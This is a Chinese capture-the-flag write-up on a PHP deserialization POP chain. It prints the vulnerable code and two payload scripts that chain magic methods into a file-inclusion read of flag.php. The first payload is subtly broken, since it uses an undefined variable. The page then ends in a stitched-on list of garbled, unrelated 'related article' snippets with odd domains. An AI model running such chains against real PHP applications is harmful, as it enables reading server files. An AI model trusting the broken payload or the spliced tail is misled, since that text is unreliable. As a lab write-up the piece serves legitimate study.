那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例。

题目

1 Welcome to index.php

2 <?php

3 //flag is in flag.php

4 //WTF IS THIS?

5 //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95

6 //And Crack It!

7 class Modifier {

8 protected $var;

9 public function append($value){

10 include($value);

11 }

12 public function __invoke(){

13 $this->append($this->var);

14 }

15 }

16

17 class Show{

18 public $source;

19 public $str;

20 public function __construct($file='index.php'){

21 $this->source = $file;

22 echo 'Welcome to '.$this->source."
";

23 }

24 public function __toString(){

25 return $this->str->source;

26 }

27

28 public function __wakeup(){

29 if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {

30 echo "hacker";

31 $this->source = "index.php";

32 }

33 }

34 }

35

36 class Test{

37 public $p;

38 public function __construct(){

39 $this->p = array();

40 }

41

42 public function __get($key){

43 $function = $this->p;

44 return $function();

45 }

46 }

47

48 if(isset($_GET['pop'])){

49 @unserialize($_GET['pop']);

50 }

51 else{

52 $a=new Show;

53 highlight_file(__FILE__);

54 }

分析

将涉及到的魔法函数先列出一下:

__construct 当一个对象创建时被调用,

__toString 当一个对象被当作一个字符串被调用。

__wakeup() 使用unserialize时触发

__get() 用于从不可访问的属性读取数据

#难以访问包括:(1)私有属性,(2)没有初始化的属性

__invoke() 当脚本尝试将对象调用为函数时触发

大致分析一下,这道题主要存在两个点:

1.序列化pop链

利用几个类之间相互关联进行构造

2.文件包含漏洞

Modifier类中append函数使用了include(),会出现文件包含漏洞。

详细分析

1.根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。

2._wakeup()通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法;

3.如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()方法。

4.如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。

5.利用文件包含漏洞,使用_invoke()读取flag.php的内容。

Modifier::__invoke()

总结

首先反序列化一个实例化的Show($a),就会调用_wakeup(),其中$a会被赋值给source。所以让$a是一个实例化的Show类,这样就会调用_tostring(),然后让里面的$a这个Show类中的str赋值为Test()类,然后让str这个Test()类中的p赋值为Modifier()类。

payload1

1 <?php

2 class Show{

3 public $source;

4 public $str;

5 }

6

7 class Test{

8 public $p;

9

10

11 }

12 class Modifier{

13 protected $var = "php://filter/convert.base64-encode/resource=flag.php";

14

15 }

16 $s = new Show();

17 $t = new Test();

18 $m = new Modifier();

19 $s->source = $s;

20 $s->str = $t;

21 $t->p = $r;

22 var_dump(urlencode(serialize($s)));

23

24 ?>

payload2

1 <?php

2 class Modifier{

3

4 protected $var = "php://filter/convert.base64-encode/resource=flag.php";

5 }

6

7 class Show{

8 public $source;

9 public $str;

10 public function __construct(){

11 $this->str = new Test();

12

13 }

14

15 }

16 class Test{

17 public $p;

18 public function __construct(){

19

20 $this->p = new Modifier();

21 }

22

23 }

24 $a = new Show();

25 $b = new Show();

26 $b->str = "";

27 $b->source = $a;

28 var_dump($b);

29 var_dump(urlencode(serialize($b)));

30 ?>

参考:https://blog.csdn.net/weixin_43952190/article/details/106016260

标签:__,function,Show,POP,source,str,EzPHP,BJDCTF2020,public

来源: https://www.cnblogs.com/zzjdbk/p/13617229.html

cl.ez6.xyz index.php,[BJDCTF2020]EzPHP-POP链相关推荐

  1. cl 7ar xyz index php,GIF 文件格式分析 -- chinawrc的世界 -- [北方博客].mht

    From: Subject: =?gb2312?B?R0lGIM7EvP648cq9t9bO9iAtLSBjaGluYXdyY7XEysC95yAtLSBbsbG3vbKp?= =?gb2312?B? ...

  2. cl.fe3.xyz index.php,2_FE_Diabetes.ipynb

    { "cells": [ { "cell_type": "markdown", "metadata": {}, &quo ...

  3. http://cl.s6e.xyz/index.php,index.html · Pear Admin/Pear Admin Site - Gitee.com

    Pear Admin 官网 .layui-nav .layui-this:after{ display: none; } .layui-nav .layui-nav-bar{ display: non ...

  4. BJDctf2020 Ezphp

    BJDctf2020 Ezphp 目录 BJDctf2020 Ezphp 2.preg_match绕过 3.$_REQUEST绕过 4.file_get_contents绕过 5.sha1函数.比较类 ...

  5. php反序列化之pop链构造

    前言 随着对反序列化学习的不断深入,我们来学习一下pop链的构造.这个pop链对于我这种小白来说还是比较难理解的,再次写下这篇文章总结一下,加深自己对构造pop链的理解.同时也是提供想要入坑的小伙伴们 ...

  6. PHP反序列化—构造POP链

    前言: 最近在刷题的时候发现这个PHP反序列化-POP链,之前理解的序列化攻击多是在魔术方法中出现一些利用的漏洞,自动调用从而触发漏洞.但如果关键代码不在魔术方法中,而是在一个类的普通方法中.这时候可 ...

  7. php反序列化—POP 链的构造利用

    POP 链的构造利用 一.POP链简介 1.POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Retu ...

  8. POP链实例解析学习

    写在前面 POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload,实战应用范围暂时没遇到,不过在CTF比赛中经常出现这样的题目,同时也经常与反序列化一起考察,可以理解为是反序列 ...

  9. 『Java安全』反序列化-浅析Hessian反序列化POP链

    文章目录 前言 pom.xml Spring联动Hessian使用 Server端 服务接口 服务实现类 SpringApp Client端 手动序列化和反序列化 能序列化的类 序列化没有实现Seri ...

最新文章

  1. Java学习总结:37(比较器)
  2. CSS3的box-sizing:向外撑content-box向内挤border-box 外撑的padding算自己的盒子会变大 内挤的padding会缩小自己
  3. 二叉树的右视图—leetcode199
  4. linux 下查看应用版本信息,Linux下查看版本信息
  5. HTML Table 固定列宽,实现excel表格效果
  6. mysql查询优化not in,mysql not in如何优化
  7. 第二章 ARM体系结构与指令集——ARM
  8. ANT:修改测试报告的样式jmeter-results-shanhe-me.xs
  9. 【语义分割系列:八】Segmentation 数据集 介绍下载论文
  10. Sequence-to-Sequence Model (Seq2Seq)
  11. Windows程序设计设计第一个窗口
  12. 详解Tensor用法
  13. 云服务器、VPS、虚拟主机三者的区别(详细)
  14. html 简繁文件转换器,在线简繁
  15. 在Virtual Box中安装Windows7 64位虚拟机系统
  16. 在 SAP 故乡,感受「边缘智能」之变
  17. linux杂志软件,Ubuntu 16.04安装电子杂志制作软件 Scribus 1.5.2
  18. oracle 统计一年中每个月数据总和_oracle统计一年中每个月的数据
  19. JS基础-字符串拆分、截取、查找汇总
  20. 5个被称为“神技”的Excel小技巧,让你的办公效率提升3倍!

热门文章

  1. 致奋斗的年轻人 阿里云在云栖大会等你
  2. 1913. 公平摄影
  3. 链路监控框架pinpoint
  4. java中如何将字符串转化为字符_如何在Java中将字符串转换为运算符?
  5. 申请 NVIDIA vGPU 90天试用 LICENSE
  6. linux原生安装postgresgl
  7. Python入门-Day5
  8. 酬岑勋见寻就元丹丘对酒相待,以诗见招
  9. SAP-财务-统驭科目
  10. android高德方向,Android 高德地图进阶功能